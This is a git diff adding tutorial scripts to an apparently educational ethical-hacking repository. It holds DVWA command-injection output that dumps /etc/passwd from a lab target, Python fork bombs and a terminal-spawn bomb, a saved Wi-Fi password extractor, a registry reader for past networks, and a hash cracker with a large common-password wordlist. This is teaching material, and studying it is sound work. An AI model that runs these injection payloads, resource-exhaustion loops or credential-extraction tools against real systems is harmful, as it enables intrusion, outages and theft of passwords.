+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | ls -la +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
total 20
+drwxr-xr-x  4 www-data www-data 4096 May 20  2012 .
+drwxr-xr-x 11 www-data www-data 4096 May 20  2012 ..
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 help
+-rw-r--r--  1 www-data www-data 1509 Mar 16  2010 index.php
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 source
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + diff --git a/ethical-hacking/exploit-command-injection/requirements.txt b/ethical-hacking/exploit-command-injection/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/response.txt b/ethical-hacking/exploit-command-injection/response.txt new file mode 100644 index 00000000..3e46a5db --- /dev/null +++ b/ethical-hacking/exploit-command-injection/response.txt @@ -0,0 +1,123 @@ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + + \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/README.md b/ethical-hacking/fake-user-data-generator/README.md new file mode 100644 index 00000000..3e304d15 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/README.md @@ -0,0 +1 @@ +# [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python) \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/fake_data.py b/ethical-hacking/fake-user-data-generator/fake_data.py new file mode 100644 index 00000000..021cbd72 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/fake_data.py @@ -0,0 +1,124 @@ +# Import necessary libraries and modules. +from faker import Faker +from faker.providers import internet +import csv + + +# Function to generate user data with the specified number of users. +def generate_user_data(num_of_users): + # Create a Faker instance. + fake = Faker() + # Add the Internet provider to generate email addresses and IP addresses. + fake.add_provider(internet) + + # Initialize an empty list to store user data. + user_data = [] + # Loop to generate data for the specified number of users. + for _ in range(num_of_users): + # Create a dictionary representing a user with various attributes. + user = { + 'Name': fake.name(), + 'Email': fake.free_email(), + 'Phone Number': fake.phone_number(), + 'Birthdate': fake.date_of_birth(), + 'Address': fake.address(), + 'City': fake.city(), + 'Country': fake.country(), + 'ZIP Code': fake.zipcode(), + 'Job Title': fake.job(), + 'Company': fake.company(), + 'IP Address': fake.ipv4_private(), + 'Credit Card Number': fake.credit_card_number(), + 'Username': fake.user_name(), + 'Website': fake.url(), + 'SSN': fake.ssn() + } + # Append the user data dictionary to the user_data list. + user_data.append(user) + + # Return the list of generated user data. + return user_data + + +# Function to save user data to a CSV file. +def save_to_csv(data, filename): + # Get the keys (column names) from the first dictionary in the data list. + keys = data[0].keys() + # Open the CSV file for writing. + with open(filename, 'w', newline='') as output_file: + # Create a CSV writer with the specified column names. + writer = csv.DictWriter(output_file, fieldnames=keys) + # Write the header row to the CSV file. + writer.writeheader() + # Iterate through each user dictionary and write a row to the CSV file. + for user in data: + writer.writerow(user) + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to save user data to a text file. +def save_to_text(data, filename): + # Open the text file for writing. + with open(filename, 'w') as output_file: + # Iterate through each user dictionary. + for user in data: + # Iterate through key-value pairs in the user dictionary and write to the text file. + for key, value in user.items(): + output_file.write(f"{key}: {value}\n") + # Add a newline between users in the text file. + output_file.write('\n') + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to print user data vertically. +def print_data_vertically(data): + # Iterate through each user dictionary in the data list. + for user in data: + # Iterate through key-value pairs in the user dictionary and print vertically. + for key, value in user.items(): + print(f"{key}: {value}") + # Add a newline between users. + print() + + +# Get the number of users from user input. +number_of_users = int(input("[!] Enter the number of users to generate: ")) +# Generate user data using the specified number of users. +user_data = generate_user_data(number_of_users) + +# Ask the user if they want to save the data to a file. +save_option = input("[?] Do you want to save the data to a file? (yes/no): ").lower() + +# If the user chooses to save the data. +if save_option == 'yes': + # Ask the user for the file type (CSV, TXT, or both). + file_type = input("[!] Enter file type (csv/txt/both): ").lower() + + # Save to CSV if the user chose CSV or both. + if file_type == 'csv' or file_type == 'both': + # Ask the user for the CSV filename. + custom_filename_csv = input("[!] Enter the CSV filename (without extension): ") + # Concatenate the filename with the .csv extension. + filename_csv = f"{custom_filename_csv}.csv" + # Call the save_to_csv function to save the data to the CSV file. + save_to_csv(user_data, filename_csv) + + # Save to TXT if the user chose TXT or both. + if file_type == 'txt' or file_type == 'both': + # Ask the user for the TXT filename. + custom_filename_txt = input("[!] Enter the TXT filename (without extension): ") + # Concatenate the filename with the .txt extension. + filename_txt = f"{custom_filename_txt}.txt" + # Call the save_to_text function to save the data to the text file. + save_to_text(user_data, filename_txt) + + # If the user entered an invalid file type. + if file_type not in ['csv', 'txt', 'both']: + # Print an error message indicating that the file type is invalid. + print("[-] Invalid file type. Data not saved.") +# If the user chose not to save the data, print it vertically. +else: + # Call the print_data_vertically function to print the data vertically. + print_data_vertically(user_data) diff --git a/ethical-hacking/fake-user-data-generator/requirements.txt b/ethical-hacking/fake-user-data-generator/requirements.txt new file mode 100644 index 00000000..ea45cd03 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/requirements.txt @@ -0,0 +1 @@ +Faker \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/README.md b/ethical-hacking/find-past-wifi-connections-on-windows/README.md new file mode 100644 index 00000000..614b160a --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/README.md @@ -0,0 +1 @@ +# [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python) \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py new file mode 100644 index 00000000..c362aa9c --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py @@ -0,0 +1,39 @@ +import winreg # Import registry module. + +def val2addr(val): # Convert value to address format. + addr = '' # Initialize address. + try: + for ch in val: # Loop through value characters. + addr += '%02x ' % ch # Convert each character to hexadecimal. + addr = addr.strip(' ').replace(' ', ':')[0:17] # Format address. + except: + return "N/A" # Return N/A if error occurs. + return addr # Return formatted address. + + +def printNets(): # Print network information. + net = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" # Registry key for network info. + key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, net) # Open registry key. + print('\n[*] Networks You have Joined:') # Print header. + for i in range(100): # Loop through possible network keys. + try: + guid = winreg.EnumKey(key, i) # Get network key. + netKey = winreg.OpenKey(key, guid) # Open network key. + try: + n, addr, t = winreg.EnumValue(netKey, 5) # Get MAC address. + n, name, t = winreg.EnumValue(netKey, 4) # Get network name. + if addr: + macAddr = val2addr(addr) # Convert MAC address. + else: + macAddr = 'N/A' + netName = str(name) # Convert network name to string. + print(f'[+] {netName} ----> {macAddr}') # Print network info. + except WindowsError: # Handle errors. + pass # Continue loop. + winreg.CloseKey(netKey) # Close network key. + except WindowsError: # Handle errors. + break # Exit loop. + winreg.CloseKey(key) # Close registry key. + + +printNets() # Call printNets function. diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md new file mode 100644 index 00000000..be4ecf37 --- /dev/null +++ b/ethical-hacking/fork-bomb/README.md @@ -0,0 +1 @@ +# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py new file mode 100644 index 00000000..672e7ed1 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb.py @@ -0,0 +1,45 @@ +"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb.""" +# Import necessary modules. +from multiprocessing import Process, cpu_count +import time + +# Define a function named counter that takes a number parameter. +def counter(number): + # Run a loop until number reaches 0. + while number > 0: + number -= 1 + # Introduce a sleep of 100 ms to intentionally slow down the loop. + time.sleep(0.1) # Adjust sleep time as needed to make it slower. + + +def spawn_processes(num_processes): + # Create a list of Process instances, each targeting the counter function. + processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)] + # Start each process. + for process in processes: + process.start() + print(f"Started process {process.pid}.") + # Wait for each process to finish before moving on. + for process in processes: + process.join() + print(f"Process {process.pid} has finished.") + +# Define the main function. +def main(): + # Get the number of logical processors on the system. + num_processors = cpu_count() + # Create a large number of processes (num_processors * 200). + num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed. + print(f"Number of logical processors: {num_processors}") + print(f"Creating {num_processes} processes.") + print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.") + # Run an infinite loop if you want. + # while True: + # spawn_processes(num_processes) + # For demonstration purposes, run the function once and monitor the task manager. + spawn_processes(num_processes) + + +# Execute the main function. +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py new file mode 100644 index 00000000..69abe8b8 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb_simplest.py @@ -0,0 +1,9 @@ +"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork(). +It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system. +Be careful when running this code.""" +import os +# import time + +while True: + os.fork() + # time.sleep(0.5) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py new file mode 100644 index 00000000..8f03e615 --- /dev/null +++ b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py @@ -0,0 +1,38 @@ +"""A terminal spawn bomb that infinitely opens a new terminal window on the host system. +Be careful when running this script, as it overwhelms the system with terminal windows. +The time.sleep() is introduced to test the script.""" +import os +import subprocess +import time + +# List of common terminal emulators +terminal_emulators = [ + "gnome-terminal", # GNOME + "konsole", # KDE + "xfce4-terminal", # XFCE + "lxterminal", # LXDE + "mate-terminal", # MATE + "terminator", + "xterm", + "urxvt" +] + +def open_terminal(): + for emulator in terminal_emulators: + try: + if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0: + os.system(f"{emulator} &") + return True + except Exception as e: + continue + print("No known terminal emulator found!") + return False + +while True: + if os.name == "nt": + os.system("start cmd") + else: + if not open_terminal(): + break # Break the loop if no terminal emulator is found + # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script. + time.sleep(0.5) # Adjust sleep time as needed to make it slower. diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md index e24eda7f..a10efc10 100644 --- a/ethical-hacking/get-wifi-passwords/README.md +++ b/ethical-hacking/get-wifi-passwords/README.md @@ -1 +1,3 @@ -# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) \ No newline at end of file +# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) + +This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers. \ No newline at end of file diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py index 0afd70ca..ff32f6f8 100644 --- a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py +++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py @@ -28,10 +28,16 @@ def get_windows_saved_wifi_passwords(verbose=1): [list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"] """ ssids = get_windows_saved_ssids() - Profile = namedtuple("Profile", ["ssid", "ciphers", "key"]) + Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"]) profiles = [] for ssid in ssids: ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode() + + #get the security type + security = re.findall(r"Authentication\s(.*)", ssid_details) + # clear spaces and colon + security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security)) + # get the ciphers ciphers = re.findall(r"Cipher\s(.*)", ssid_details) # clear spaces and colon @@ -43,7 +49,7 @@ def get_windows_saved_wifi_passwords(verbose=1): key = key[0].strip().strip(":").strip() except IndexError: key = "None" - profile = Profile(ssid=ssid, ciphers=ciphers, key=key) + profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key) if verbose >= 1: print_windows_profile(profile) profiles.append(profile) @@ -52,12 +58,13 @@ def get_windows_saved_wifi_passwords(verbose=1): def print_windows_profile(profile): """Prints a single profile on Windows""" - print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}") def print_windows_profiles(verbose): """Prints all extracted SSIDs along with Key on Windows""" - print("SSID CIPHER(S) KEY") + print("SSID Securities CIPHER(S) KEY") print("-"*50) get_windows_saved_wifi_passwords(verbose) diff --git a/ethical-hacking/hash-cracker/README.md b/ethical-hacking/hash-cracker/README.md new file mode 100644 index 00000000..7f59fab6 --- /dev/null +++ b/ethical-hacking/hash-cracker/README.md @@ -0,0 +1,14 @@ +# [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python) +To run this: +- `pip install -r requirements.txt` +- Get usage: `python crack_hashes.py --help` +- Crack a SHA-256 hash using `wordlist.txt`: + ```bash + $ python crack_hashes.py 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 wordlist.txt --hash-type sha256 + ``` + **Output:** + ``` + [*] Cracking hash 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 using sha256 with a list of 14344394 words. + Cracking hash: 96%|███████████████████████████████████████████████████████████████████████████████████████████▉ | 13735317/14344394 [00:20<00:00, 664400.58it/s] + [+] Found password: abc123 + ``` \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/crack_hashes.py b/ethical-hacking/hash-cracker/crack_hashes.py new file mode 100644 index 00000000..5e98db51 --- /dev/null +++ b/ethical-hacking/hash-cracker/crack_hashes.py @@ -0,0 +1,53 @@ +import hashlib +from tqdm import tqdm + +# List of supported hash types +hash_names = [ + 'blake2b', + 'blake2s', + 'md5', + 'sha1', + 'sha224', + 'sha256', + 'sha384', + 'sha3_224', + 'sha3_256', + 'sha3_384', + 'sha3_512', + 'sha512', +] + +def crack_hash(hash, wordlist, hash_type=None): + """Crack a hash using a wordlist. + + Args: + hash (str): The hash to crack. + wordlist (str): The path to the wordlist. + + Returns: + str: The cracked hash. + """ + hash_fn = getattr(hashlib, hash_type, None) + if hash_fn is None or hash_type not in hash_names: + # not supported hash type + raise ValueError(f'[!] Invalid hash type: {hash_type}, supported are {hash_names}') + # Count the number of lines in the wordlist to set the total + total_lines = sum(1 for line in open(wordlist, 'r')) + print(f"[*] Cracking hash {hash} using {hash_type} with a list of {total_lines} words.") + # open the wordlist + with open(wordlist, 'r') as f: + # iterate over each line + for line in tqdm(f, desc='Cracking hash', total=total_lines): + if hash_fn(line.strip().encode()).hexdigest() == hash: + return line + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description='Crack a hash using a wordlist.') + parser.add_argument('hash', help='The hash to crack.') + parser.add_argument('wordlist', help='The path to the wordlist.') + parser.add_argument('--hash-type', help='The hash type to use.', default='md5') + args = parser.parse_args() + print() + print("[+] Found password:", crack_hash(args.hash, args.wordlist, args.hash_type)) diff --git a/ethical-hacking/hash-cracker/requirements.txt b/ethical-hacking/hash-cracker/requirements.txt new file mode 100644 index 00000000..fa9cf064 --- /dev/null +++ b/ethical-hacking/hash-cracker/requirements.txt @@ -0,0 +1 @@ +tqdm \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/wordlist.txt b/ethical-hacking/hash-cracker/wordlist.txt new file mode 100644 index 00000000..554c961b --- /dev/null +++ b/ethical-hacking/hash-cracker/wordlist.txt @@ -0,0 +1,5000 @@ +123456 +12345 +123456789 +password +iloveyou +princess +12345678 +1234567 +nicole +daniel +monkey +babygirl +qwerty +lovely +654321 +michael +jessica +111111 +ashley +000000 +iloveu +michelle +tigger +sunshine +chocolate +password1 +soccer +anthony +friends +purple +angel +butterfly +jordan +fuckyou +123123 +justin +liverpool +football +loveme +secret +andrea +jennifer +joshua +carlos +superman +bubbles +hannah +1234567890 +amanda +andrew +loveyou +pretty +basketball +angels +flower +tweety +hello +playboy +charlie +elizabeth +samantha +hottie +chelsea +tinkerbell +shadow +barbie +666666 +jasmine +lovers +brandon +teamo +matthew +melissa +eminem +robert +danielle +forever +dragon +computer +whatever +family +jonathan +cookie +summer +987654321 +naruto +vanessa +sweety +joseph +spongebob +junior +taylor +softball +mickey +yellow +lauren +daniela +princesa +william +alexandra +thomas +jesus +alexis +miguel +estrella +patrick +angela +mylove +poohbear +beautiful +iloveme +sakura +adrian +121212 +destiny +alexander +christian +america +monica +dancer +112233 +sayang +richard +diamond +orange +555555 +princess1 +carolina +steven +louise +rangers +snoopy +hunter +999999 +killer +nathan +789456 +11111 +buster +shorty +gabriel +cherry +george +cheese +sandra +alejandro +rachel +brittany +ginger +patricia +alejandra +7777777 +159753 +pokemon +pepper +arsenal +maggie +peanut +baseball +dolphin +heather +david +tequiero +chicken +blink182 +antonio +222222 +victoria +sweetie +rainbow +stephanie +987654 +beauty +honey +00000 +fernando +cristina +corazon +kisses +manuel +angel1 +martin +heaven +november +55555 +rebelde +greenday +123321 +ricardo +batman +babygurl +madison +123abc +mother +alyssa +morgan +asshole +december +bailey +mahalkita +september +mariposa +maria +sophie +jeremy +gemini +pamela +gabriela +shannon +iloveyou2 +kimberly +jessie +pictures +austin +claudia +hellokitty +booboo +master +harley +angelica +babygirl1 +victor +horses +courtney +tiffany +mahalko +eduardo +kissme +mariana +peaches +andres +banana +precious +chris +october +ronaldo +inuyasha +veronica +iloveyou1 +888888 +freedom +james +prince +oliver +jesus1 +zxcvbnm +adriana +samsung +cutie +friend +crystal +edward +scooby +celtic +rebecca +jackie +carmen +kenneth +diana +angelo +johnny +456789 +sebastian +school +spiderman +karina +mustang +christopher +slipknot +august +orlando +0123456789 +samuel +monkey1 +adidas +cameron +barcelona +casper +bitch +kitten +internet +50cent +kevin +cutiepie +brenda +bonita +babyboy +maganda +karen +natalie +fuckoff +123654 +isabel +sarah +silver +cuteako +javier +jasper +789456123 +777777 +tigers +marvin +rockstar +bowwow +nicholas +chester +laura +portugal +smokey +denise +asdfgh +flowers +january +tintin +alicia +volleyball +101010 +bianca +garfield +cristian +dennis +cassie +696969 +chrisbrown +sweet +francis +midnight +strawberry +panget +love123 +lollipop +benfica +aaaaaa +olivia +welcome +apples +charles +cancer +qwertyuiop +ihateyou +vincent +mercedes +nirvana +jordan23 +letmein +camila +monique +superstar +harrypotter +fucker +scorpio +pookie +icecream +christine +benjamin +mexico +abigail +charmed +131313 +lorena +lovelove +abcdef +katherine +andreea +333333 +rafael +brianna +love +aaliyah +brooke +johncena +dakota +gangsta +jackson +michael1 +hiphop +travis +sabrina +metallica +julian +stephen +jeffrey +sergio +mybaby +babyblue +fluffy +badboy +simple +smiley +catherine +dolphins +melanie +blondie +westlife +newyork +fernanda +sasuke +88888888 +muffin +piglet +roberto +teresa +steaua +jason +minnie +ronald +asdfghjkl +popcorn +raymond +slideshow +kitty +santiago +scooter +5201314 +dexter +jerome +jayson +246810 +ladybug +gandako +cookies +gatita +leslie +babyko +lalala +christ +alberto +232323 +jenny +sweetheart +chivas +leonardo +nicole1 +rockon +marcus +valeria +anthony1 +babydoll +jayjay +brooklyn +cocacola +12345678910 +sexygirl +bitch1 +liliana +happy +chris1 +amores +eeyore +natasha +skittles +fatima +252525 +single +lover +london +winnie +159357 +miamor +123456a +colombia +manutd +lakers +hahaha +britney +albert +katrina +teddybear +linda +elephant +grace +christina +marie +stupid +hockey +0123456 +pasaway +snickers +mahal +turtle +tatiana +charlotte +smile +147258369 +cantik +qazwsx +teiubesc +genesis +shelby +natalia +spider +francisco +147258 +xavier +kelsey +amorcito +angelito +claire +brandy +manchester +paola +fuckyou1 +mommy1 +marina +147852 +bandit +phoenix +rabbit +amigos +444444 +garcia +bonnie +linkinpark +marlon +sharon +guitar +dallas +starwars +disney +monster +frankie +diego +red123 +pimpin +pumpkin +iverson +54321 +andrei +england +soccer1 +sparky +fashion +justine +allison +emily +102030 +lucky1 +456123 +wilson +potter +danny +matrix +miranda +bestfriend +number1 +canada +people +thunder +hermosa +barney +player +savannah +camille +sporting +katie +nelson +212121 +yankees +scotland +timothy +hearts +iloveu2 +truelove +hottie1 +jasmin +smiles +bubble +onelove +jayden +florida +ilovehim +parola +ganda +brandon1 +jackass +shakira +motorola +tennis +sweets +estrellita +westside +nikki +evelyn +biteme +monkeys +maryjane +lucky +trinity +loverboy +ronnie +love12 +elijah +joanna +emmanuel +familia +broken +compaq +1234 +omarion +hello1 +999999999 +mamita +rodrigo +justin1 +jamaica +california +isabella +shopping +fuckyou2 +gracie +nothing +kathleen +cupcake +mauricio +sammy +abcdefg +bradley +amigas +mariah +loser +connor +preciosa +ferrari +snowball +elaine +robbie +hector +flores +jorge +trustno1 +darling +candy +martinez +sunflower +millie +jamie +melody +blessed +cheche +dominic +joanne +valentina +swimming +pebbles +tyler +friendster +santos +taurus +dreams +a123456 +aaron +gloria +loving +gangster +sweetpea +kitkat +sunshine1 +google +jessica1 +cheyenne +dustin +violet +apple +sydney +darren +megan +darkangel +kelly +cynthia +zachary +froggy +charlie1 +sophia +skater +123qwe +raiders +purple1 +bettyboop +darkness +oscar +iubire +money +chacha +jordan1 +010203 +inlove +batista +bestfriends +marian +gerald +carebear +green +daddy1 +pogiako +karla +billabong +sexyme +willow +cooper +pinky +daddysgirl +ashley1 +bambam +tigger1 +amber +fuckme +erika +nenita +dreamer +bella +gatito +butter +123789 +buttercup +glitter +passion +lokita +sister +maldita +nichole +lindsey +sierra +lindsay +anderson +booger +miller +caroline +eagles +loveya +marissa +lovebug +nicolas +cecilia +zacefron +tokiohotel +lollypop +bubblegum +kristine +mario +puppies +mememe +carter +chubby +scorpion +ariana +sammie +11111111 +stella +raquel +kristen +qwerty1 +lonely +stacey +baller +chance +hotstuff +angelina +roxana +james1 +susana +sexybitch +rocker +williams +012345 +babylove +rocky +sweet16 +freddy +lolita +remember +football1 +catdog +kayla +playgirl +loveme1 +marcos +zxcvbn +yamaha +gustavo +bhebhe +PASSWORD +hotdog +202020 +daddy +151515 +milagros +caitlin +vampire +lovely1 +ireland +skyline +matthew1 +xxxxxx +beyonce +lilmama +georgia +martha +gerard +armando +undertaker +margarita +bryan +kittycat +tristan +lizzie +dance +loves +password2 +money1 +amistad +tamara +boomer +simpsons +justme +capricorn +maddie +andrew1 +amelia +delfin +legolas +sheila +141414 +harvey +cheerleader +chiquita +gateway +cowboys +janine +penguin +enrique +patches +scoobydoo +genius +badgirl +israel +carlitos +happy1 +dancing +cuteme +lester +angeles +peewee +walter +jesuschrist +awesome +thebest +deedee +lucky7 +chichi +buddy1 +angie +00000000 +ashton +winter +michelle1 +hardcore +tinker +myself +janice +paloma +tazmania +regina +cinderella +molly +miriam +poopoo +animal +april +ilovejesus +david1 +murphy +please +felipe +spencer +tekiero +princesita +jesucristo +pussycat +johnson +lipgloss +melvin +rosita +jazmin +celeste +mierda +scarface +pangit +silvia +arturo +741852963 +mylife +trixie +gorgeous +hernandez +chicago +panthers +daisy +yourmom +ilovegod +xbox360 +babyboo +kristina +crazy +hawaii +honeyko +valerie +nikita +sparkle +debbie +loveu +tucker +098765 +hollywood +wesley +lupita +alfredo +hailey +musica +abcd1234 +sexymama +lawrence +242424 +jeremiah +hayden +bullshit +marley +chloe +qwert +barbara +1q2w3e4r +micheal +lolipop +panther +jimmy +trouble +united +sheena +coffee +87654321 +0987654321 +diamonds +pineapple +isaiah +brian +blonde +christmas +bubbles1 +sandy +jasmine1 +pantera +marisol +cesar +twilight +shadow1 +butterfly1 +bananas +741852 +whitney +mhine +julius +pauline +madalina +birthday +anamaria +drpepper +beatriz +eugene +bobby +donald +desiree +hannah1 +sweetness +february +moomoo +twinkle +friendship +leanne +simone +shelly +anita +lover1 +marie1 +perfect +beckham +cookie1 +cowboy +calvin +123123123 +imissyou +samson +catalina +damian +ashlee +autumn +buddy +bebita +joshua1 +147852369 +andre +iloveyou! +titanic +daniel1 +pollito +nursing +serenity +mommy +babyface +torres +bitches +dinamo +paradise +reggie +bulldogs +852456 +animals +willie +juliana +alison +passw0rd +sexylady +robert1 +cassandra +14344 +mendoza +blossom +mariel +element +bethany +1111111 +1q2w3e +creative +harold +bulldog +mitchell +diesel +marshall +amanda1 +marcela +gerardo +maverick +peterpan +tanner +tyrone +cutie1 +kucing +chanel +simpleplan +paulina +ILOVEYOU +fabian +pisces +always +hollister +kaylee +margaret +grandma +143143 +donkey +salvador +lovehurts +stars +rodriguez +jason1 +sanchez +boston +thuglife +181818 +patito +thumper +piolin +theresa +derrick +helena +dianne +sweet1 +joseluis +aquarius +dancer1 +ashleigh +aaaaa +diosesamor +bigboy +danger +brownie +phillip +sammy1 +panda +maxwell +mihaela +trisha +kitty1 +parker +love4ever +esther +shane +chinita +alexandru +pickles +rosebud +archie +yvonne +virginia +heart +hamster +amormio +rosario +police +gregory +frances +lorraine +marius +speedy +hayley +11223344 +arnold +morena +kaitlyn +fantasy +trevor +sports +audrey +tweety1 +asdfg +babycakes +sexy123 +taylor1 +hello123 +babies +golden +12341234 +black +gerrard +italia +justice +brittney +superman1 +catarina +roxanne +nintendo +marco +toyota +753951 +lorenzo +cuddles +yasmin +chrissy +darwin +rockme +diablo +rascal +summer1 +nadine +tyler1 +giggles +sofia +godisgood +dominique +rocku +happiness +jenjen +castillo +joyjoy +shorty1 +russell +ghetto +wildcats +kittykat +madison1 +faith +william1 +pelusa +blahblah +franklin +beautiful1 +college +mickey1 +curtis +jocelyn +fabiola +cristo +buttons +junjun +alisha +cheer +kayleigh +gilbert +unicorn +rooney +rochelle +babygurl1 +julio +cricket +macmac +singer +montana +cuteko +vanilla 